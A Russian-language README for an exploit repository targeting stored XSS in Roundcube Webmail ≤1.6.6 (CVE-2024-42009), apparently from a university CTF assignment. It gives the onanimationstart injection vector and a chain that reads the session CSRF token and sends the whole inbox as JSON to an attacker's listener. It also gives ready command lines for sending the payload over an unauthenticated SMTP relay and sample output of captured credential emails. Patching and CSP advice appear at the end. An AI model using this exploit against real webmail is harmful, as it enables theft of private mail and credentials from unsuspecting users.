
Эксплойт хранимого XSS для Roundcube Webmail ≤1.6.6 (CVE-2024-42009) с эксфильтрацией писем без клика через обработчики событий CSS-анимации. Включает скрипт отправки через SMTP и CORS-совместимый слушатель для CTF и авторизованного тестирования безопасности.
Только для авторизованного тестирования безопасности, CTF-сред и образовательных исследований.
Использование этого инструмента против систем, которыми вы не владеете или на тестирование которых у вас нет письменного разрешения, незаконно в соответствии с Законом о неправомерном использовании компьютеров 1990 года (Великобритания), CFAA (США) и аналогичными законами по всему миру.
| Поле | Детали |
|---|---|
| CVE | CVE-2024-42009 |
| Затронутое ПО | Roundcube Webmail ≤ 1.6.6 |
| Исправленная версия | 1.6.7 / 1.6.8 |
| Оценка CVSS v3.1 | 8.8 (Высокий) |
| Вектор CVSS | AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N |
| CWE | CWE-79 — Неправильная нейтрализация входных данных при генерации веб-страницы (XSS) |
| Тип атаки | Сохранённый XSS → эксфильтрация электронной почты без клика |
| Требуется аутентификация | Нет (доставка SMTP); Низкая (жертва должна открыть письмо) |
HTML-санитайзер Roundcube 1.6.6 не удаляет обработчики событий JavaScript, прикреплённые к ключевым кадрам CSS-анимации внутри некорректного атрибута тега <body>.
Вектор инъекции:
<style>@keyframes x { from { opacity: 1; } to { opacity: 1; } }</style>
<body style="animation: x 0.001s;" onanimationstart="/* произвольный JS */">
Когда жертва открывает письмо в своей аутентифицированной сессии Roundcube, CSS-анимация срабатывает немедленно. Обработчик onanimationstart выполняется с полным доступом к объекту JavaScript rcmail, включая request_token сессии.
Цепочка эксплойта:
1. Атакующий отправляет вредоносное HTML-письмо жертве через неаутентифицированный SMTP-ретранслятор (порт 25)
2. Жертва открывает письмо в Roundcube — анимация срабатывает, JS выполняется (без кликов)
3. JS считывает rcmail.env.request_token (действительный CSRF-токен для сессии)
4. JS перебирает все UID входящих сообщений через внутренний почтовый API Roundcube
5. Каждое сообщение извлекается, и его содержимое собирается
6. Все данные входящих сообщений отправляются в формате JSON на HTTP-слушатель атакующего
7. Атакующий читает восстановленные письма — они могут содержать учётные данные, данные сессий или конфиденциальную переписку
cve-2024-42009-roundcube-xss/
├── exploit.py # Отправляет XSS-полезную нагрузку через неаутентифицированный SMTP
├── listener.py # HTTP-сервер с поддержкой CORS; принимает и выводит эксфильтрованные данные входящих сообщений
├── payload.html # Автономная XSS-полезная нагрузка для ручной проверки или доставки через Burp
└── README.md
smtplib, http.server, json, argparse)python3 listener.py --port 8080
Вывод при получении данных:
[+] Exfiltration received from 192.168.62.128
[*] Session token : abc123...
[*] Emails captured: 19
--- Email 1 ---
UID : 1
From : [email protected]
Subject : SSH Access Credentials
Body : Your credentials are: ...
Полный дамп JSON автоматически сохраняется в exfil_dump.json.
python3 exploit.py \
--smtp 192.168.62.128 \
--port 25 \
--from [email protected] \
--to [email protected] \
--attacker 192.168.62.129 \
--lport 8080 \
--subject "Security Advisory - Action Required"
Как только письмо будет открыто в Roundcube ≤ 1.6.6, слушатель выведет содержимое эксфильтрованных входящих сообщений.
HTML-очиститель Roundcube отвечает за удаление опасных атрибутов перед отображением входящего HTML-письма. В версиях ≤ 1.6.6 очиститель корректно удаляет onclick, onerror и подобные обработчики, но не удаляет обработчики событий CSS-анимации (onanimationstart, onanimationend, onanimationiteration).
Поскольку CSS-анимации срабатывают как часть рендеринга (а не взаимодействия пользователя), обработчик выполняется в момент открытия письма — не требуется ни клик по ссылке, ни какое-либо действие пользователя, кроме открытия сообщения.
Объект JavaScript rcmail глобально доступен в каждой аутентифицированной сессии Roundcube. Он предоставляет rcmail.env.request_token, который является CSRF-токеном сессии. В сочетании с собственными конечными точками почтового API Roundcube (?_task=mail&_action=list, ?_action=show) полезная нагрузка может прочитать полный почтовый ящик без дополнительной аутентификации.
| Версия | Статус |
|---|---|
| ≤ 1.6.6 | Уязвимо |
| 1.6.7 | Исправлено |
| 1.6.8 | Исправлено (рекомендуется) |
| 1.5.x LTS | См. уведомление поставщика |
| Действие | Подробности |
|---|---|
| Обновление | Roundcube 1.6.8 или новее исправляет этот класс XSS |
| Заголовок CSP | Разверните Content-Security-Policy: default-src 'self'; script-src 'self' на виртуальном хосте веб-почты, чтобы заблокировать выполнение встроенного JS |
Этот PoC был разработан и протестирован в рамках оценки проникновения Boot-to-Root CTF в модуле Этический взлом и тестирование на проникновение, магистерская программа по кибербезопасности, Университет Ковентри (2025–2026). Все тестирование проводилось в изолированной лабораторной среде VMware с явным письменным разрешением.
Автор: Сегун Акинсойину
Портфолио: segunakinsoyinu.github.io/MyPortfolio
Этот код выпущен только для образовательных и авторизованных исследований безопасности. Автор не несёт ответственности за неправомерное использование. Перед использованием этого инструмента убедитесь, что у вас есть явное письменное разрешение на тестирование целевой системы.
| Аргумент | Описание |
|---|
--smtp | IP-адрес или имя хоста целевого SMTP-сервера |
--port | Порт SMTP (по умолчанию: 25) |
--from | Адрес отправителя (любое значение, принимаемое ретранслятором) |
--to | Адрес электронной почты жертвы |
--attacker | Ваш IP-адрес — встраивается в полезную нагрузку как адрес сборщика эксфильтрации |
--lport | Порт вашего слушателя (по умолчанию: 8080) |
--subject | Тема письма |
| SMTP-ретранслятор | Отключите неаутентифицированную ретрансляцию на порту 25 — требуйте AUTH для всей внутренней доставки |